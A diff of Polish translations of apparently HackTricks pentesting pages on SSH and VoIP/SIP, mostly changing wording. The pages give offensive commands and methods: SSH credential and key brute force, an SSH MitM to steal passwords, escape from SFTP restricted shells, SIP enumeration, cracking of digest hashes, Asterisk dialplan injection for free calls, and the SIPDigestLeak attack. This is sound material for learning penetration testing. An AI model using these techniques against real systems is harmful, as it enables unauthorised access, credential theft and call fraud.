Podobnie jak w przypadku pułapki SMB, umieszczanie złośliwych plików na docelowym systemie (za pośrednictwem SMB, na przykład) może wywołać próbę uwierzytelnienia SMB, co pozwala na przechwycenie hasha NetNTLMv2 za pomocą narzędzia takiego jak Responder. Hash można następnie złamać offline lub użyć w [ataku relay SMB](#smb-relay-attack).
[Zobacz: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -17,7 +17,7 @@
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) implementacja SSH dla Windows, klient jest powszechnie używany, ale użycie serwera jest rzadsze
- [CopSSH](https://www.itefix.net/copssh) implementacja OpenSSH dla Windows
**Biblioteki SSH (implementujące stronę serwerową):**
**Biblioteki SSH (implementujące po stronie serwera):**
- [libssh](https://www.libssh.org) wieloplatformowa biblioteka C implementująca protokół SSHv2 z powiązaniami w [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) i [R](https://github.com/ropensci/ssh); jest używana przez KDE do sftp i przez GitHub do infrastruktury git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) biblioteka serwera SSHv2 napisana w ANSI C, skierowana do środowisk wbudowanych, RTOS i z ograniczonymi zasobami
@ -26,7 +26,7 @@
## Enumeracja
### Przechwytywanie banerów
### Zbieranie banerów
```bash
nc -vn <IP> 22
```
@ -38,10 +38,10 @@ ssh-audit to narzędzie do audytowania konfiguracji serwera i klienta ssh.
**Funkcje:**
- wsparcie dla protokołu SSH1 i SSH2;
- Obsługa protokołu SSH1 i SSH2;
- analiza konfiguracji klienta SSH;
- pobieranie banera, rozpoznawanie urządzenia lub oprogramowania i systemu operacyjnego, wykrywanie kompresji;
- zbieranie algorytmów wymiany kluczy, klucza hosta, szyfrowania i kodu uwierzytelniania wiadomości;
- zbieranie algorytmów wymiany kluczy, kluczy hosta, szyfrowania i kodów uwierzytelniania wiadomości;
- wyjście informacji o algorytmach (dostępne od, usunięte/wyłączone, niebezpieczne/słabe/legacy itp.);
- wyjście rekomendacji dotyczących algorytmów (dodaj lub usuń na podstawie rozpoznanej wersji oprogramowania);
- wyjście informacji o bezpieczeństwie (powiązane problemy, przypisane listy CVE itp.);
@ -75,7 +75,7 @@ $ python3 ssh-audit <IP>
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Słabe algorytmy szyfrujące
### Słabe algorytmy szyfrowania
To jest domyślnie wykrywane przez **nmap**. Możesz również użyć **sslcan** lub **sslyze**.
@ -91,7 +91,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
- `ssh`
## Atak siłowy na nazwy użytkowników, hasła i klucze prywatne
## Bruteforce'owanie nazw użytkowników, haseł i kluczy prywatnych
### Enumeracja nazw użytkowników
@ -101,9 +101,9 @@ msf> use scanner/ssh/ssh_enumusers
```
### [Brute force](../generic-hacking/brute-force.md#ssh)
Niektóre powszechne dane uwierzytelniające ssh [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej.
Niektóre powszechne dane logowania ssh [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej.
### Atak Brute Force na Klucz Prywatny
### Private Key Brute Force
Jeśli znasz jakieś klucze prywatne ssh, które mogą być użyte... spróbujmy. Możesz użyć skryptu nmap:
```
@ -113,7 +113,7 @@ Lub moduł pomocniczy MSF:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Lub użyj `ssh-keybrute.py` (natywny python3, lekki i z włączonymi algorytmami starszymi): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Znane złe klucze można znaleźć tutaj:
@ -123,13 +123,13 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
#### Słabe klucze SSH / Przewidywalny PRNG w Debianie
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznego zmniejszenia przestrzeni kluczy, co można złamać metodą brute force. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznego zmniejszenia przestrzeni kluczy, co może być brutalnie łamane. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Powinieneś poszukać tutaj, aby znaleźć ważne klucze dla maszyny ofiary.
### Kerberos
**crackmapexec** używając protokołu `ssh` może użyć opcji `--kerberos`, aby **uwierzytelnić się za pomocą kerberos**.\
**crackmapexec** używając protokołu `ssh` może używać opcji `--kerberos`, aby **uwierzytelnić się za pomocą kerberos**.\
Aby uzyskać więcej informacji, uruchom `crackmapexec ssh --help`.
## Domyślne dane logowania
@ -153,7 +153,7 @@ Aby uzyskać więcej informacji, uruchom `crackmapexec ssh --help`.
## SSH-MitM
Jeśli jesteś w lokalnej sieci ofiary, która zamierza połączyć się z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować **przeprowadzić atak MitM, aby ukraść te dane logowania:**
Jeśli jesteś w lokalnej sieci jako ofiara, która zamierza połączyć się z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować **przeprowadzić atak MitM, aby ukraść te dane logowania:**
**Ścieżka ataku:**
@ -163,7 +163,7 @@ Jeśli jesteś w lokalnej sieci ofiary, która zamierza połączyć się z serwe
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) robi dokładnie to, co opisano powyżej.
Aby przechwycić i przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w [**Atakach spoofingowych w sieci**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
Aby przechwycić, przeprowadź rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w [**Atakach spoofingowych w sieci**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
@ -197,7 +197,7 @@ Jest powszechne, że serwery SSH domyślnie pozwalają na logowanie użytkownika
### Wykonywanie poleceń SFTP
W przypadku konfiguracji SFTP często występuje powszechne niedopatrzenie, gdzie administratorzy zamierzają, aby użytkownicy wymieniali się plikami bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa.
W przypadku konfiguracji SFTP występuje powszechne niedopatrzenie, w którym administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa.
[Przykład stąd](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -242,9 +242,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
Polecenie **sftp** ma komendę "**symlink**". Dlatego, jeśli masz **prawa do zapisu** w jakimś folderze, możesz tworzyć **symlinki** do **innych folderów/plików**. Ponieważ prawdopodobnie jesteś **uwięziony** w chroot, to **nie będzie to szczególnie przydatne** dla Ciebie, ale jeśli możesz **uzyskać dostęp** do utworzonego **symlinka** z **usługi bez chroot** (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz **otworzyć symlinkowane pliki przez sieć**.
Polecenie **sftp** to "**symlink**". Dlatego, jeśli masz **prawa do zapisu** w jakimś folderze, możesz tworzyć **symlinki** do **innych folderów/plików**. Ponieważ prawdopodobnie jesteś **uwięziony** w chroot, to **nie będzie szczególnie przydatne** dla ciebie, ale jeśli możesz **uzyskać dostęp** do utworzonego **symlinka** z **usługi bez chroot** (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz **otworzyć symlinkowane pliki przez sieć**.
Na przykład, aby stworzyć **symlink** z nowego pliku **"**_**froot**_**" do "**_**/**_**"**:
Na przykład, aby utworzyć **symlink** z nowego pliku **"**_**froot**_**" do "**_**/**_**"**:
```bash
sftp> symlink / froot
```
@ -265,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Sprawdzenie konfiguracji serwera SSH jest konieczne, aby upewnić się, że tylko oczekiwane metody są autoryzowane. Użycie trybu szczegółowego na kliencie może pomóc w ocenie skuteczności konfiguracji.
Przegląd konfiguracji serwera SSH jest konieczny, aby sprawdzić, czy tylko oczekiwane metody są autoryzowane. Użycie trybu szczegółowego na kliencie może pomóc w ocenie skuteczności konfiguracji.
### Pliki konfiguracyjne
```bash

View File

@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Podstawowe informacje o VoIP
## VoIP Podstawowe Informacje
Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:
@ -11,7 +11,7 @@ Aby rozpocząć naukę o tym, jak działa VoIP, sprawdź:
basic-voip-protocols/
{{#endref}}
## Podstawowe wiadomości
## Podstawowe Wiadomości
```
Request name Description RFC references
------------------------------------------------------------------------------------------------------
@ -118,7 +118,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
555 Push Notification Service Not Supported
580 Precondition Failure
```
**6xx—Globalne odpowiedzi na błędy**
**6xx—Global Failure Responses**
```
600 Busy Everywhere
603 Decline
@ -129,7 +129,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
```
## VoIP Enumeration
### Numery Telefonów
### Numery telefonów
Jednym z pierwszych kroków, które może podjąć Red Team, jest wyszukiwanie dostępnych numerów telefonów, aby skontaktować się z firmą, korzystając z narzędzi OSINT, wyszukiwania w Google lub skanowania stron internetowych.
@ -140,7 +140,7 @@ Gdy masz numery telefonów, możesz skorzystać z usług online, aby zidentyfiko
- [https://www.whitepages.com/](https://www.whitepages.com/)
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Znając operatora, który świadczy usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.
Wiedząc, czy operator oferuje usługi VoIP, możesz zidentyfikować, czy firma korzysta z VoIP... Co więcej, możliwe, że firma nie zatrudniła usług VoIP, ale używa kart PSTN, aby połączyć swoją własną centralę VoIP z tradycyjną siecią telefoniczną.
Rzeczy takie jak automatyczne odpowiedzi z muzyką zazwyczaj wskazują, że używane jest VoIP.
@ -176,11 +176,11 @@ intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
```
### Informacje OSINT
### OSINT information
Każda inna enumeracja OSINT, która pomoże zidentyfikować używane oprogramowanie VoIP, będzie pomocna dla Red Team.
### Enumeracja sieci
### Network Enumeration
- **`nmap`** jest w stanie skanować usługi UDP, ale z powodu liczby skanowanych usług UDP, jest bardzo wolny i może nie być zbyt dokładny w przypadku tego rodzaju usług.
```bash
@ -192,7 +192,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
- **`SIPPTS scan`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan to bardzo szybki skaner dla usług SIP przez UDP, TCP lub TLS. Używa wielowątkowości i może skanować duże zakresy sieci. Umożliwia łatwe wskazanie zakresu portów, skanowanie zarówno TCP, jak i UDP, użycie innej metody (domyślnie użyje OPTIONS) oraz określenie innego User-Agent (i nie tylko).
- **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS scan to bardzo szybki skaner dla usług SIP przez UDP, TCP lub TLS. Używa wielowątkowości i może skanować duże zakresy sieci. Umożliwia łatwe wskazanie zakresu portów, skanowanie zarówno TCP, jak i UDP, użycie innej metody (domyślnie użyje OPTIONS) oraz określenie innego User-Agent (i więcej).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -208,7 +208,7 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
```
#### Dodatkowa enumeracja sieci
#### Dodatkowe enumeracje sieciowe
PBX może również udostępniać inne usługi sieciowe, takie jak:
@ -217,7 +217,7 @@ PBX może również udostępniać inne usługi sieciowe, takie jak:
- **389 (LDAP)**: Alternatywa do przechowywania informacji o użytkownikach
- **3306 (MySQL)**: Baza danych MySQL
- **5038 (Manager)**: Umożliwia korzystanie z Asteriska z innych platform
- **5222 (XMPP)**: Wiadomości za pomocą Jabber
- **5222 (XMPP)**: Wiadomości za pomocą Jabbera
- **5432 (PostgreSQL)**: Baza danych PostgreSQL
- I inne...
@ -229,7 +229,7 @@ sippts enumerate -i 10.10.0.10
```
### Analizowanie odpowiedzi serwera
Bardzo ważne jest, aby analizować nagłówki, które serwer do nas wysyła, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Dzięki `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
Bardzo ważne jest, aby analizować nagłówki, które serwer wysyła z powrotem do nas, w zależności od rodzaju wiadomości i nagłówków, które wysyłamy. Z `SIPPTS send` z [**sippts**](https://github.com/Pepelux/sippts) możemy wysyłać spersonalizowane wiadomości, manipulując wszystkimi nagłówkami, i analizować odpowiedź.
```bash
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
```
@ -237,11 +237,11 @@ Możliwe jest również uzyskanie danych, jeśli serwer używa websockets. Z `SI
```bash
sippts wssend -i 10.10.0.10 -r 443 -path /ws
```
### Enumeracja numerów wewnętrznych
### Enumeracja rozszerzeń
Numery wewnętrzne w systemie PBX (Prywatna Centrala Telefoniczna) odnoszą się do **unikalnych identyfikatorów wewnętrznych przypisanych do poszczególnych** linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Numery wewnętrzne umożliwiają **efektywne kierowanie połączeniami w organizacji**, bez potrzeby posiadania indywidualnych zewnętrznych numerów telefonicznych dla każdego użytkownika lub urządzenia.
Rozszerzenia w systemie PBX (Prywatna Centrala Telefoniczna) odnoszą się do **unikalnych identyfikatorów wewnętrznych przypisanych do poszczególnych** linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Rozszerzenia umożliwiają **efektywne kierowanie połączeń wewnątrz organizacji**, bez potrzeby posiadania indywidualnych zewnętrznych numerów telefonów dla każdego użytkownika lub urządzenia.
- **`svwar`** z SIPVicious (`sudo apt install sipvicious`): `svwar` to darmowy skaner linii numerów wewnętrznych SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, **zgadując zakres numerów wewnętrznych lub podaną listę numerów wewnętrznych**.
- **`svwar`** z SIPVicious (`sudo apt install sipvicious`): `svwar` to darmowy skaner linii rozszerzeń SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, **zgadując zakres rozszerzeń lub podaną listę rozszerzeń**.
```bash
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
```
@ -254,7 +254,7 @@ sippts exten -i 10.10.0.10 -r 5060 -e 100-200
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
```
- **`enumiax` (`apt install enumiax`): enumIAX** to protokół Inter Asterisk Exchange **do enumeracji brute-force nazw użytkowników**. enumIAX może działać w dwóch odrębnych trybach: Sekwencyjne Zgadywanie Nazw Użytkowników lub Atak Słownikowy.
- **`enumiax` (`apt install enumiax`): enumIAX** to enumerator **brute-force nazw użytkowników** protokołu Inter Asterisk Exchange. enumIAX może działać w dwóch odrębnych trybach: sekwencyjne zgadywanie nazw użytkowników lub atak słownikowy.
```bash
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
@ -285,9 +285,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci Wifi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronioną Wifi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
Jeśli znajdziesz sprzęt VoIP w **otwartej sieci WiFi**, możesz **przechwycić wszystkie informacje**. Co więcej, jeśli jesteś w bardziej zamkniętej sieci (połączonej przez Ethernet lub chronionej WiFi), możesz przeprowadzić **ataki MitM, takie jak** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) między **PBX a bramą**, aby przechwycić informacje.
Wśród informacji sieciowych możesz znaleźć **dane logowania do sieci** do zarządzania sprzętem, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, **adresy IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej.
Wśród informacji sieciowych możesz znaleźć **dane logowania do zarządzania sprzętem**, **numery wewnętrzne** użytkowników, **nazwy użytkowników**, **adresy IP**, a nawet **zhardcodowane hasła** i **pakiety RTP**, które możesz odtworzyć, aby **usłyszeć rozmowę**, i więcej.
Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdump... ale **specjalnie stworzone narzędzie do przechwytywania rozmów VoIP to** [**ucsniff**](https://github.com/Seabreg/ucsniff).
@ -295,16 +295,16 @@ Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdu
> Zauważ, że jeśli **TLS jest używany w komunikacji SIP**, nie będziesz w stanie zobaczyć komunikacji SIP w czystym tekście.\
> To samo stanie się, jeśli używane są **SRTP** i **ZRTP**, **pakiety RTP nie będą w czystym tekście**.
#### SIP credentials (Password Brute-Force - offline)
#### Poświadczenia SIP (Brute-Force hasła - offline)
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **wysyłane dane logowania**.
[Sprawdź ten przykład, aby lepiej zrozumieć **komunikację SIP REGISTER**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example), aby dowiedzieć się, jak **są wysyłane poświadczenia**.
- **`sipdump`** & **`sipcrack`,** część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić atak brute-force**.
- **`sipdump`** i **`sipcrack`**, część **sipcrack** (`apt-get install sipcrack`): Te narzędzia mogą **wyodrębnić** z **pcap** **uwierzytelnienia digest** w protokole SIP i **przeprowadzić brute-force**.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
```
- **`SIPPTS dump`** z [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
- **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump może wyodrębnić uwierzytelnienia digest z pliku pcap.
```bash
sippts dump -f capture.pcap -o data.txt
```
@ -318,19 +318,19 @@ sippts tshark -f capture.pcap [-filter auth]
```
#### Kody DTMF
**Nie tylko dane uwierzytelniające SIP** można znaleźć w ruchu sieciowym, możliwe jest również znalezienie kodów DTMF, które są używane na przykład do uzyskania dostępu do **poczty głosowej**.\
**Nie tylko dane uwierzytelniające SIP** mogą być znalezione w ruchu sieciowym, możliwe jest również znalezienie kodów DTMF, które są używane na przykład do uzyskania dostępu do **poczty głosowej**.\
Można wysyłać te kody w **wiadomościach INFO SIP**, w **audio** lub wewnątrz **pakietów RTP**. Jeśli kody znajdują się w pakietach RTP, możesz wyciąć tę część rozmowy i użyć narzędzia multimo, aby je wyodrębnić:
```bash
multimon -a DTMF -t wac pin.wav
```
### Bezpłatne połączenia / Błędy w konfiguracji Asteriska
### Free Calls / Asterisks Connections Misconfigurations
W Asterisku możliwe jest zezwolenie na połączenie **z konkretnego adresu IP** lub z **dowolnego adresu IP**:
```
host=10.10.10.10
host=dynamic
```
Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednakże, będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP w celu odbierania połączeń.
Jeśli adres IP jest określony, host **nie będzie musiał wysyłać żądań REGISTER** co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał REJESTROWAĆ się co 30 minut). Jednakże, będzie musiał mieć otwarte porty umożliwiające połączenia z serwerem VoIP, aby odbierać połączenia.
Aby zdefiniować użytkowników, można ich zdefiniować jako:
@ -354,13 +354,13 @@ Możliwe jest również nawiązanie zaufania za pomocą zmiennej insecure:
### Darmowe Połączenia / Błędy Konfiguracji Kontekstu Asteriska
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym elementem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
W Asterisku **kontekst** to nazwany kontener lub sekcja w planie numeracyjnym, która **grupuje powiązane rozszerzenia, akcje i zasady**. Plan numeracyjny jest kluczowym komponentem systemu Asterisk, ponieważ definiuje **jak są obsługiwane i kierowane połączenia przychodzące i wychodzące**. Konteksty są używane do organizacji planu numeracyjnego, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
Każdy kontekst jest definiowany w pliku konfiguracyjnym, zazwyczaj w pliku **`extensions.conf`**. Konteksty są oznaczane nawiasami kwadratowymi, a nazwa kontekstu jest umieszczona w ich wnętrzu. Na przykład:
```bash
csharpCopy code[my_context]
```
W kontekście definiujesz numery wewnętrzne (wzorce wybieranych numerów) i łączysz je z serią działań lub aplikacji. Te działania określają, jak połączenie jest przetwarzane. Na przykład:
W kontekście definiujesz rozszerzenia (wzorce wybieranych numerów) i przypisujesz je do serii działań lub aplikacji. Te działania określają, jak połączenie jest przetwarzane. Na przykład:
```scss
[my_context]
exten => 100,1,Answer()
@ -369,7 +369,7 @@ exten => 100,n,Hangup()
```
Ten przykład demonstruje prosty kontekst o nazwie "my_context" z rozszerzeniem "100". Gdy ktoś wybierze 100, połączenie zostanie odebrane, zostanie odtworzona wiadomość powitalna, a następnie połączenie zostanie zakończone.
To jest **inny kontekst**, który pozwala na **wybór dowolnego innego numeru**:
To jest **inny kontekst**, który pozwala na **wybieranie dowolnego innego numeru**:
```scss
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
@ -398,17 +398,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
```
### Darmowe połączenia / Źle skonfigurowane IVRS
IVRS oznacza **Interaktywny System Odpowiedzi Głosowej**, technologię telekomunikacyjną, która pozwala użytkownikom na interakcję z systemem komputerowym za pomocą głosu lub tonów dotykowych. IVRS jest używane do budowy **automatycznych systemów obsługi połączeń**, które oferują szereg funkcji, takich jak dostarczanie informacji, kierowanie połączeń i zbieranie danych od użytkowników.
IVRS oznacza **System Interaktywnej Odpowiedzi Głosowej**, technologię telekomunikacyjną, która pozwala użytkownikom na interakcję z systemem komputerowym za pomocą głosu lub tonów dotykowych. IVRS jest używane do budowy **systemów automatycznego obsługi połączeń**, które oferują szereg funkcji, takich jak dostarczanie informacji, kierowanie połączeń i zbieranie danych od użytkowników.
IVRS w systemach VoIP zazwyczaj składa się z:
1. **Podpowiedzi głosowe**: Wstępnie nagrane wiadomości audio, które prowadzą użytkowników przez opcje menu IVR i instrukcje.
2. **DTMF** (Dual-Tone Multi-Frequency) sygnalizacja: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych.
2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Tones dotykowe generowane przez naciśnięcie klawiszy na telefonie, które są używane do nawigacji po menu IVR i dostarczania danych.
3. **Kierowanie połączeń**: Kierowanie połączeń do odpowiedniego celu, takiego jak konkretne działy, agenci lub numery wewnętrzne na podstawie danych od użytkownika.
4. **Zbieranie danych od użytkowników**: Zbieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.
5. **Integracja z systemami zewnętrznymi**: Łączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskania lub aktualizacji informacji, wykonywania działań lub wyzwalania zdarzeń.
W systemie VoIP Asterisk możesz stworzyć IVR za pomocą planu wybierania (**`extensions.conf`** file) i różnych aplikacji, takich jak `Background()`, `Playback()`, `Read()` i innych. Te aplikacje pomagają odtwarzać podpowiedzi głosowe, zbierać dane od użytkowników i kontrolować przepływ połączeń.
W systemie VoIP Asterisk możesz stworzyć IVR używając planu wybierania (**`extensions.conf`** file) oraz różnych aplikacji, takich jak `Background()`, `Playback()`, `Read()` i innych. Te aplikacje pomagają odtwarzać podpowiedzi głosowe, zbierać dane od użytkowników i kontrolować przepływ połączeń.
#### Przykład podatnej konfiguracji
```scss
@ -435,23 +435,23 @@ Jednakże, jeśli **`${EXTEN}`** pozwala na wprowadzenie **więcej niż cyfr** (
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Zatem połączenie do rozszerzenia **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **rozszerzenia, które omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, mógłby **wstrzyknąć połączenie tylko do pożądanego numeru**.
Dlatego połączenie do numeru wewnętrznego **`101`** i **`123123123`** zostanie wysłane, a tylko pierwsze z nich nawiąże połączenie... ale jeśli atakujący użyje **numeru wewnętrznego, który omija jakiekolwiek dopasowanie**, które jest wykonywane, ale nie istnieje, mógłby **wstrzyknąć połączenie tylko do pożądanego numeru**.
## Wrażliwość SIPDigestLeak
## Luka w SIPDigestLeak
Wrażliwość SIP Digest Leak dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Wrażliwość ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
Luka SIP Digest Leak to podatność, która dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i programowych telefonów IP oraz adapterów telefonicznych (VoIP na analogowe). Luka ta pozwala na **wyciek odpowiedzi na uwierzytelnienie Digest**, która jest obliczana na podstawie hasła. Możliwy jest **atak offline na hasło**, który może odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
**[Scenariusz wrażliwości stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
**[Scenariusz podatności stąd**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. Telefon IP (ofiara) nasłuchuje na dowolnym porcie (na przykład: 5060), akceptując połączenia telefoniczne
2. Atakujący wysyła INVITE do telefonu IP
3. Telefon ofiary zaczyna dzwonić, a ktoś odbiera i odkłada słuchawkę (ponieważ nikt nie odpowiada na telefon po drugiej stronie)
4. Gdy telefon zostaje odłożony, **telefon ofiary wysyła BYE do atakującego**
5. **Atakujący wydaje odpowiedź 407**, która **prosi o uwierzytelnienie** i wydaje wyzwanie uwierzytelniające
6. **Telefon ofiary dostarcza odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
6. **Telefon ofiary podaje odpowiedź na wyzwanie uwierzytelniające** w drugim BYE
7. **Atakujący może następnie przeprowadzić atak brute-force** na odpowiedzi na wyzwanie na swoim lokalnym komputerze (lub w rozproszonej sieci itp.) i odgadnąć hasło
